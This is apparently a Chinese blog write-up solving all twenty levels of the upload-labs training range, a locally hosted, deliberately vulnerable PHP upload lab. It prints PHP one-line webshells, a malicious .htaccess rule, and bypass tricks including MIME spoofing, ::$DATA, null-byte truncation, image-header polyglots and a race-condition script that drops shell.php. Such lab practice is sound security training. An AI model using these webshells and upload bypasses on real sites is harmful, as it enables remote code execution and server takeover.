记录一个upload-labs靶场的全过程。
介绍
个人认为这个靶场还是挺不错的,推荐一下。并且这个是有releases版本的,避免了繁琐的环境搭建,对新手也很友好。使用说明:
找到解压目录,先打开bat文件,再使用PhpStudy.exe,点击打开.这样就启动好了。访问本地的80端口即可。不加也行,是默认访问80端口的。
可以看到启动成功了
第一关
js前端检验,直接关掉再上传php即可。
一句话木马如下
1 | <?= @eval($_REQUEST['a']);phpinfo();?> |
访问即可
第二关
1 | if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) |
存在对类型的检测。
bp抓包改一下Content-Type
1 | Content-Disposition: form-data; name="upload_file"; filename="a.php" |
第三关
存在后缀黑名单,但是黑名单太弱了,用phtml绕过。
访问不到,看下改了名字。
第四关
1 | if (file_exists(UPLOAD_PATH)) { |
这次的黑名单就丰富的多了。
补充知识:php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名 他的目的就是不检查后缀名。用于防止非预期。这题只检验了一些一句话木马的后缀,没有检验htaccess,ini等。估计考点就是这个
将木马名字修改,再上传htaccess文件。
1 | <FilesMatch "jpg"> |
这样只要名字包含jpg都可被当作php解析。
第五关
这次htaccess也在黑名单。
这里一开始以为是使用刚刚提到的.user.ini来包含一句话木马,但是上传目录下面没有php文件所以实现不了。
1 | if (file_exists(UPLOAD_PATH)) { |
这里由于没有转小写,爆破试了一些,发现好多都可以绕过。(看响应长度)随便选一个就行。这也告诉我们黑名单还是太容易出问题了。
第六关
这关是代码里把去空格的功能删掉了。传php 就好了。写了这几关下来,感觉就是把一些常见的漏洞分开放,培养一些我们审计php代码的能力。
第七关
去掉了除去点的功能
这样的话我们上传a.php.,获取$file_ext = strrchr($file_name, ‘.’);这个就获取不到我们的php后缀,这样绕过黑名单。
第八关
补充知识:php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名 他的目的就是不检查后缀名。用于防止非预期。这题只检验了一些一句话木马的后缀,没有检验htaccess,ini等。估计考点就是这个
这关要用到我们提到的::$DATA,传入a.php::$DATA
可以看到上传成功,然后访问upload/202403262243399335.php即可,也就是说把::$DATA去掉
第九关
1 | $file_name = trim($_FILES['upload_file']['name']); |
补充知识:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来
上传a.php. .
验证过程,deldot发现有一个点,去掉。trim又发现有一个空格,也会把它去掉,我们这时还有一个点,也就是.php.
Tips:利用Windows下文件后添加的点会自动忽略
上传成功,也可以解析成功。
我看了看上传目录,文件里就是一个a.php文件。但是一样可以解析,不必理会。
第十关
存在替换
$file_name = str_ireplace($deny_ext,"", $file_name);
直接双写绕过。
上传a.pphphp
第十一关
注意到,路径直接在请求包里给出了。00截断一下。
filename以png结尾绕过检测,save_path以php%00结尾。同时我们注意到src的上传文件有问题,这是拼接的问题,实际上我们可以看一下upload文件夹,确实是只有a.php的。
第十二关
这里是post的00截断
补充知识:POST不会对里面的数据自动解码,需要在Hex中修改。
如果我们还是加个%00的话,上传会失败。
这就需要我们手动改hex了。
这里随便填一个字符。找到对应位置改成00即可
发包,访问。
第十三关
上传图片马,并且三种后缀都要,我就只上传一种了,原理都是一样的。
分析一下检测原理吧。
1 | function getReailFileType($filename){ |
说白了读取前两个字节转换成数字,与给定的三种情况一致即可。那这个题实际不需要图片马,也可以成功。直接加个文件头就行了。
我直接拿个图片马上传了
include.php:
1 |
|
这个文件包含的点在题目中没有找到,直接翻根目录找的。
第十四关
1 | function isImage($filename){ |
这关检测方式有点区别,但是没什么用,直接加个文件头一样能绕过
1 | GIF89a |
第十五关
感觉一个方法直接打通三关了。不懂出题人的考点是什么。
第十六关
这一次,上传不上去了。那上传一个真的图片马,发现没有出现phpinfo。把上传的图片下载出来看看。
使用010比较一下不同。
这里的话png的绕过会显得更加复杂,如果是gif,直接在相同的地方,将我们的php木马覆盖进去即可。但是png直接覆盖的话图片会失效。这里看了这位师傅写的文章。因为:
png图片由3个以上的数据块组成。 PNG定义了两种类型的数据块,一种是称为关键数据块(critical chunk),这是标准的数据块,另一种叫做辅助数据块(ancillary chunks),这是可选的数据块。关键数据块定义了3个标准数据块(IHDR,IDAT, IEND),每个PNG文件都必须包含它们。
我们插入后要保证图片格式不出问题。感兴趣的师傅可以去这位师傅文章看具体实现。
这里我使用的是他讲的第二个方法。这个方法就简单一点。
1 |
|
使用php上传图片,再把它下载之后发现存在
<?=$_GET[0]($_POST[1]);?>
rce成功。
第十七关
代码审计
1 | if(in_array($file_ext,$ext_arr)){ |
存在卸载操作。我们只要访问够快,代码执行不过来,在木马没被删除的时候访问就成功生成了php文件
先开个python访问
1 | url = "http://127.0.0.1/upload/shell.php" |
一句话木马
1 | fputs(fopen('shell.php','w'),'<?php phpinfo();?>') |
一直发空包。拉大进程更容易成功。
一边发木马,一边访问a.php
具体步骤:
先启动python。
木马包:
访问包:
两个都不需要负载。
成功。其实不要pyhton也可以,直接看访问包的状态码。效果是一样的。
第十八关
变成了发图片马。题目会改我们的名字,但是一样需要时间执行。具体流程一样
这一关上传路径出了点问题。具体来说是路径拼接有问题,少了一个/。导致文件没有上传到upload目录下,而是上传到了根目录下,并且给文件多了给upload前缀。可以根据这篇文章改一下。
成功。
但这里生成的shell.php在根目录下,可能是因为myupload.php的问题?。这是因为include.php在根目录下,文件包含也会在当前目录生成shell.php文件。
第十九关
1 | if(!in_array($file_ext,$deny_ext)) { |
注意到这里是先检查后缀,再使用move_uploaded_file移动位置。由于move_uploaded_file会忽略/.
pathinfo
只会返回最后一个.后面的信息。
move_uploaded_file
函数在处理文件移动时会忽略文件名中的点号 .
。这通常不会引起问题,因为点号在文件名中通常用于表示文件扩展名的分隔符。例如,如果你的文件名是 a.php/.
,move_uploaded_file
会将其移动到目标路径,并将文件名视为 a.php
。
访问。
第二十关
1 | $is_upload = false; |
看了一下源代码。
这个是之前没有点。估计重点就是这个$file_name = reset($file) . '.' . $file[count($file) - 1];
我们先来分析这个的意思。
- 首先,
$file
是一个数组,其中包含了文件名的各个部分(例如,路径、文件名、扩展名等)。 reset($file)
返回数组中的第一个元素,即文件名的一部分。$file[count($file) - 1]
返回数组数量元素减一个的那个元素,及倒数第二- 通过将这两部分连接在一起,代码构建了一个新的文件名。
例如,如果 $file
包含以下内容:
$file[0]
是"a
$file[1]
是"example"
$file[2]
是"php"
那么 $file_name
将被设置为 "a.php"
。
那么很明显漏洞就出在这里了。再看如何利用。
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
这里有个三目运算,如果为POST参数为空定义$file变量。save_name可控。
$ext = end($file);检测数组最后一个元素的值是否在白名单内
如果file只有两个值,那么会拼接0和1索引。再传入0和2,这样的话绕过检测,并且拼接一个空。
OOOOOOOOOOK!!!!
完结撒花